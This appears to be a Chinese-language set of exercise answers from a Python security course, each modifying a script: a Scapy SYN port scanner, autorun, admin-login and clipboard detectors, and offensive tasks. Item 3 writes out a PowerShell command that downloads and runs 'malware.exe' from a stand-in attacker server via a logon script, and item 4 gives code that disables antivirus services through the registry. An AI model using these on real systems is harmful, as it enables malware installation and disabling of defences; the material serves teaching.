table {
border-collapse: collapse;
width: 100%;
margin-bottom: 1rem;
}
th, td {
border: 1px solid #ddd;
padding: 8px;
text-align: left;
}
th {
background-color: #f2f2f2;
}
tr:nth-child(even) {
background-color: #f9f9f9;
}
pre {
background-color: #f8f8f8;
padding: 15px;
border-radius: 4px;
overflow-x: auto;
}
1、PortScan.py 中的 SYNScan 函数目前仅根据端口是否返回 SYN/ACK 数据包来检查端口是否开放。修改代码以区分关闭的端口(返回 RST)和被防火墙过滤的端口(无返回)。
以下是修改后的 SYNScan 函数代码:
from scapy.all import *
import ipaddress
ports = [25, 80, 53, 443, 445, 8080, 8443]
def SynScan(host):
ans, unans = sr( IP(dst=host) / TCP(sport=33333, dport=ports, flags="S"), timeout=2, verbose=0 )
open_ports = []
closed_ports = []
filtered_ports = []
# 处理有响应的数据包
for s, r in ans:
if s[TCP].dport == r[TCP].sport and r[TCP].flags == "SA":
open_ports.append(s[TCP].dport)
elif r[TCP].flags == "R":
closed_ports.append(s[TCP].dport)
# 处理无响应的数据包
for s in unans:
filtered_ports.append(s[TCP].dport)
if open_ports:
print(f"Open ports at {host}: {', '.join(map(str, open_ports))}")
if closed_ports:
print(f"Closed ports at {host}: {', '.join(map(str, closed_ports))}")
if filtered_ports:
print(f"Filtered ports at {host}: {', '.join(map(str, filtered_ports))}")
此修改后的代码会分别记录开放、关闭和被过滤的端口,并将结果输出。
2、AutorunDetection 使用 psutil 库确定进程的 PID。修改代码以提供有关可疑进程的更多信息,例如它们的创建时间或父 PID。
要修改
AutorunDetection.py
代码以提供有关可疑进程的更多信息,如创建时间和父 PID,可以在
DetectAutorunProcess
函数中添加代码来获取这些信息。以下是修改后的代码:
import win32con
from win32api import GetLogicalDriveStrings
from win32file import GetDriveType
import os.path
import psutil
def GetRemovableDrives():
driveStrings = GetLogicalDriveStrings()
drives = [item for item in driveStrings.split("x00") if item]
return [drive for drive in drives if GetDriveType(drive) is win32con.DRIVE_REMOVABLE]
def CheckAutorun(drive):
filename = drive + "Autorun.inf"
if os.path.isfile(filename):
print("Autorun file at %s" % filename)
with open(filename, "r") as f:
for line in f:
if line.startswith("Open"):
ind = line.index("=")
return line[ind+1:].rstrip()
else:
return None
def DetectAutorunProcess(executable):
for proc in psutil.process_iter():
if executable == proc.name():
try:
create_time = proc.create_time()
parent_pid = proc.ppid()
print(f"Autorun file running with PID {proc.pid}, created at {create_time}, parent PID: {parent_pid}")
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
pass
for drive in GetRemovableDrives():
executable = CheckAutorun(drive)
if executable:
DetectAutorunProcess(executable)
在这个修改后的代码中,
DetectAutorunProcess
函数在找到匹配的进程后,会尝试获取进程的创建时间和父 PID,并将这些信息打印出来。同时,使用
try-except
块来捕获可能的异常,如进程不存在、访问被拒绝或僵尸进程等情况。
3、目前,LogonScript.py 仅启动一个命令提示符。修改脚本目标,使其能为攻击者做一些有用的事情。
可将脚本目标修改为添加一个终端命令,用于下载并运行第二阶段恶意软件。若要修改 LogonScript.py 代码,可将 `command = "cmd.exe"` 替换为下载并运行恶意软件的命令,如
`command = "powershell -Command "Invoke-WebRequest -Uri 'http://attacker-server.com/malware.exe' -OutFile 'C:\Temp\malware.exe'; Start-Process 'C:\Temp\malware.exe'""`,
同时要确保运行脚本修改 HKU 中的值时,目标位置对该账户可访问。
4、修改DetectAntivirusService.py,通过将检测到的服务的Start值设置为0x04来禁用该服务。
当前DetectAntivirusService.py代码用于识别自动运行的杀毒服务。若要修改代码以禁用检测到的服务,可在找到Start值为
0x02
的服务后,以写权限打开相应键并调用
SetValueEx
函数将Start值设置为
0x04
。以下是修改后的代码示例:
import winreg
reghive = winreg.HKEY_LOCAL_MACHINE
regpath = "SYSTEMCurrentControlSetServices"
av_list = ['MBAM'] # 可扩展为其他杀毒软件关键字
try:
key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_READ)
numKeys = winreg.QueryInfoKey(key)[0]
for i in range(numKeys):
subkey = winreg.EnumKey(key, i)
for name in av_list:
if name in subkey:
subPath = "%s\%s" % (regpath, subkey)
# 以写权限打开子键
k = winreg.OpenKey(reghive, subPath, 0, winreg.KEY_ALL_ACCESS)
numVals = winreg.QueryInfoKey(k)[1]
for j in range(numVals):
val = winreg.EnumValue(k, j)
if val[0] == "Start" and val[1] == 2:
print("Service %s set to run automatically, disabling..." % subkey)
# 设置Start值为0x04
winreg.SetValueEx(k, "Start", 0, winreg.REG_DWORD, 0x04)
print("Service %s has been disabled." % subkey)
winreg.CloseKey(k)
winreg.CloseKey(key)
except Exception as e:
print(e)
此代码在找到Start值为
0x02
的服务时,会将其Start值设置为
0x04
以禁用服务。运行此代码需要管理员权限。
5、特殊登录事件的Windows事件日志包含目标账户的权限信息。修改DetectAdminLogin.py以收集这些信息。
以下是修改后的DetectAdminLogin.py代码,用于收集特殊登录事件中目标账户的权限信息:
import win32evtlog
server = "localhost"
logtype = "Security"
flags = win32evtlog.EVENTLOG_FORWARDS_READ | win32evtlog.EVENTLOG_SEQUENTIAL_READ
def QueryEventLog(eventID, filename=None):
logs = []
if not filename:
h = win32evtlog.OpenEventLog(server, logtype)
else:
h = win32evtlog.OpenBackupEventLog(server, filename)
while True:
events = win32evtlog.ReadEventLog(h, flags, 0)
if events:
for event in events:
if event.EventID == eventID:
logs.append(event)
else:
break
return logs
def DetectAdministratorLogin():
events = QueryEventLog(4672)
for event in events:
if event.StringInserts[0].startswith("S - 1 - 5 - 21"):
username = event.StringInserts[1]
time_generated = event.TimeGenerated
# 假设权限信息在某个特定位置,这里简单示例
# 实际中需要根据事件日志结构确定权限信息位置
privileges = "未知权限信息"
if len(event.StringInserts) > 2:
privileges = event.StringInserts[2]
print("Login attempt by %s at %s with privileges: %s" % (username, time_generated, privileges))
DetectAdministratorLogin()
此代码在原基础上添加了权限信息的输出,假设权限信息在
event.StringInserts
的第三个位置(实际需根据事件日志结构调整)。
6、编辑 MonitorClipboard 代码,当剪贴板被可疑进程修改时,提取并打印剪贴板的当前内容。
要实现这个需求,需要对 `MonitorClipboard.py` 代码进行修改。在检测到剪贴板被可疑进程修改时,提取并打印剪贴板的当前内容。以下是修改后的代码示例:
```python
import win32gui, win32api, ctypes
from win32clipboard import GetClipboardOwner, OpenClipboard, GetClipboardData, CloseClipboard
from win32process import GetWindowThreadProcessId
from psutil import Process
allowlist = []
def processEvent(hwnd, msg, wparam, lparam):
if msg == 0x031D:
try:
win = GetClipboardOwner()
pid = GetWindowThreadProcessId(win)[1]
p = Process(pid)
name = p.name()
if name not in allowlist:
print("Clipboard modified by %s" % name)
# 打开剪贴板
OpenClipboard()
# 获取剪贴板内容
clipboard_content = GetClipboardData()
# 关闭剪贴板
CloseClipboard()
print("Current clipboard content: %s" % clipboard_content)
except:
print("Clipboard modified by unknown process")
def createWindow():
wc = win32gui.WNDCLASS()
wc.lpfnWndProc = processEvent
wc.lpszClassName = 'clipboardListener'
wc.hInstance = win32api.GetModuleHandle(None)
class_atom = win32gui.RegisterClass(wc)
return win32gui.CreateWindow(class_atom, 'clipboardListener', 0, 0, 0, 0, 0, 0, 0, wc.hInstance, None)
def setupListener():
hwnd = createWindow()
ctypes.windll.user32.AddClipboardFormatListener(hwnd)
win32gui.PumpMessages()
setupListener()
在这个修改后的代码中,当检测到剪贴板被可疑进程修改时,会执行以下操作:
打开剪贴板。
使用
GetClipboardData
函数 获取剪贴板的当前内容。
关闭剪贴板。
打印剪贴板的当前内容。
“`